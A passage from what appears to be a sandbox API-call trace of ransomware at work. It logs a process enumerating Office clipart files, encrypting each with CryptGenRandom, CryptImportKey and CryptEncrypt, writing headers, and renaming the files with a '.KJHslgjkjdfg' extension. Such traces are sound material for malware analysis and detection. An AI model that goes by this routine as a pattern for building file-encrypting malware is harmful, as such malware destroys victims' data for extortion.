lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2232, lpOverlapped=0x0) returned 1 [0197.863] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2240, dwBufLen=0x2240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2240) returned 1 [0197.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.864] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2240, lpOverlapped=0x0) returned 1 [0197.864] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.864] SetEndOfFile (hFile=0x130) returned 1 [0197.866] GetProcessHeap () returned 0x2ef0000 [0197.867] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.867] GetProcessHeap () returned 0x2ef0000 [0197.867] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.867] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.kjhslgjkjdfg")) returned 1 [0197.868] CloseHandle (hObject=0x130) returned 1 [0197.868] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1 [0197.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.870] GetProcessHeap () returned 0x2ef0000 [0197.870] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.870] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.870] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0197.872] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.872] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.872] GetProcessHeap () returned 0x2ef0000 [0197.872] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.872] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.872] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.872] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.872] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.873] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.873] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.873] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.873] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.873] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.873] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe392, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe392, lpOverlapped=0x0) returned 1 [0197.875] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe3a0, dwBufLen=0xe3a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe3a0) returned 1 [0197.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.876] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe3a0, lpOverlapped=0x0) returned 1 [0197.876] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.876] SetEndOfFile (hFile=0x130) returned 1 [0197.879] GetProcessHeap () returned 0x2ef0000 [0197.879] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.879] GetProcessHeap () returned 0x2ef0000 [0197.880] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.kjhslgjkjdfg")) returned 1 [0197.881] CloseHandle (hObject=0x130) returned 1 [0197.881] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1 [0197.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.882] GetProcessHeap () returned 0x2ef0000 [0197.882] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.882] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.882] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.882] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0197.884] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.884] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.884] GetProcessHeap () returned 0x2ef0000 [0197.884] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.885] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.885] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.885] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.885] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.885] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.885] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.885] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.885] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.885] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.885] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9114, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9114, lpOverlapped=0x0) returned 1 [0197.887] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9120, dwBufLen=0x9120 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9120) returned 1 [0197.887] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.887] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9120, lpOverlapped=0x0) returned 1 [0197.887] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x91f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.888] SetEndOfFile (hFile=0x130) returned 1 [0197.890] GetProcessHeap () returned 0x2ef0000 [0197.891] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.891] GetProcessHeap () returned 0x2ef0000 [0197.891] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.kjhslgjkjdfg")) returned 1 [0197.892] CloseHandle (hObject=0x130) returned 1 [0197.892] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1 [0197.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.893] GetProcessHeap () returned 0x2ef0000 [0197.893] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.893] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.893] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0197.895] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.895] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.895] GetProcessHeap () returned 0x2ef0000 [0197.895] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.896] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.896] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.896] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.896] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.896] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.896] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.896] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.896] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.896] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.896] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1846, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1846, lpOverlapped=0x0) returned 1 [0197.897] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1850, dwBufLen=0x1850 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1850) returned 1 [0197.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.897] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1850, lpOverlapped=0x0) returned 1 [0197.898] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.898] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.898] SetEndOfFile (hFile=0x130) returned 1 [0197.900] GetProcessHeap () returned 0x2ef0000 [0197.900] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.900] GetProcessHeap () returned 0x2ef0000 [0197.900] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.901] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.kjhslgjkjdfg")) returned 1 [0197.902] CloseHandle (hObject=0x130) returned 1 [0197.902] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1 [0197.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.903] GetProcessHeap () returned 0x2ef0000 [0197.903] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.903] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.903] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.903] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.903] GetProcessHeap () returned 0x2ef0000 [0197.903] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.903] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.903] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.903] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.907] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.907] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.907] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.908] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.908] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.908] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.908] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2610, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2610, lpOverlapped=0x0) returned 1 [0197.909] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2610, dwBufLen=0x2610 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2610) returned 1 [0197.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.909] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2610, lpOverlapped=0x0) returned 1 [0197.909] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.909] SetEndOfFile (hFile=0x130) returned 1 [0197.911] GetProcessHeap () returned 0x2ef0000 [0197.911] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.911] GetProcessHeap () returned 0x2ef0000 [0197.911] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, 